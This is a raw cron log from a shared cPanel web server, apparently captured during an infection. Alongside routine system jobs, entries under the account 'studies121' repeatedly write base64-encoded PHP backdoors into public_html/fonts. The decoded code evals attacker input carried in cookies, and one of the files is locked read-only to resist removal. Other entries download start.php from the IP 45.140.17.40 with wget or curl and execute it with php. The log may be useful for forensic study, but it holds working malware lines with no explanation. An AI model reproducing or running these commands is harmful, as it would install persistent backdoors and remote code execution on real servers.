Sep 12 20:25:01 ip-184-168-122-23 CROND[20213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:25:01 ip-184-168-122-23 CROND[20216]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 12 20:26:02 ip-184-168-122-23 CROND[20336]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep 12 20:26:02 ip-184-168-122-23 CROND[20337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:26:02 ip-184-168-122-23 CROND[20342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:26:02 ip-184-168-122-23 CROND[20341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:26:02 ip-184-168-122-23 CROND[20343]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:26:02 ip-184-168-122-23 CROND[20346]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 12 20:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 12 20:27:01 ip-184-168-122-23 CROND[20519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:27:01 ip-184-168-122-23 CROND[20523]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:27:01 ip-184-168-122-23 CROND[20520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:27:01 ip-184-168-122-23 CROND[20521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:28:01 ip-184-168-122-23 CROND[20607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:28:01 ip-184-168-122-23 CROND[20608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:28:01 ip-184-168-122-23 CROND[20610]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:28:01 ip-184-168-122-23 CROND[20609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:28:01 ip-184-168-122-23 CROND[20606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:29:02 ip-184-168-122-23 CROND[20798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:29:02 ip-184-168-122-23 CROND[20800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:29:02 ip-184-168-122-23 CROND[20801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:29:02 ip-184-168-122-23 CROND[20802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:30:01 ip-184-168-122-23 CROND[20923]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 12 20:30:01 ip-184-168-122-23 CROND[20926]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 20:30:01 ip-184-168-122-23 CROND[20927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:30:01 ip-184-168-122-23 CROND[20928]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:30:01 ip-184-168-122-23 CROND[20932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:30:01 ip-184-168-122-23 CROND[20929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:30:01 ip-184-168-122-23 CROND[20931]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 20:30:01 ip-184-168-122-23 CROND[20934]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 20:30:01 ip-184-168-122-23 CROND[20933]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:31:01 ip-184-168-122-23 CROND[21059]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 20:31:01 ip-184-168-122-23 CROND[21060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:31:01 ip-184-168-122-23 CROND[21064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:31:01 ip-184-168-122-23 CROND[21066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:31:01 ip-184-168-122-23 CROND[21062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:32:01 ip-184-168-122-23 CROND[21176]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:32:01 ip-184-168-122-23 CROND[21177]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:32:01 ip-184-168-122-23 CROND[21179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:32:01 ip-184-168-122-23 CROND[21181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:32:01 ip-184-168-122-23 CROND[21180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:33:01 ip-184-168-122-23 CROND[21287]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:33:01 ip-184-168-122-23 CROND[21289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:33:01 ip-184-168-122-23 CROND[21291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:33:01 ip-184-168-122-23 CROND[21290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:34:01 ip-184-168-122-23 CROND[21478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:34:01 ip-184-168-122-23 CROND[21479]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:34:01 ip-184-168-122-23 CROND[21482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:34:01 ip-184-168-122-23 CROND[21483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:34:01 ip-184-168-122-23 CROND[21481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:35:01 ip-184-168-122-23 CROND[21573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:35:01 ip-184-168-122-23 CROND[21575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:35:01 ip-184-168-122-23 CROND[21581]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 20:35:01 ip-184-168-122-23 CROND[21579]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 20:35:01 ip-184-168-122-23 CROND[21580]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 20:35:01 ip-184-168-122-23 CROND[21577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:35:01 ip-184-168-122-23 CROND[21582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:35:01 ip-184-168-122-23 CROND[21583]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 20:36:01 ip-184-168-122-23 CROND[21688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:36:01 ip-184-168-122-23 CROND[21690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:36:01 ip-184-168-122-23 CROND[21691]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:36:01 ip-184-168-122-23 CROND[21692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:36:01 ip-184-168-122-23 CROND[21695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:37:01 ip-184-168-122-23 CROND[21792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:37:01 ip-184-168-122-23 CROND[21794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:37:01 ip-184-168-122-23 CROND[21796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
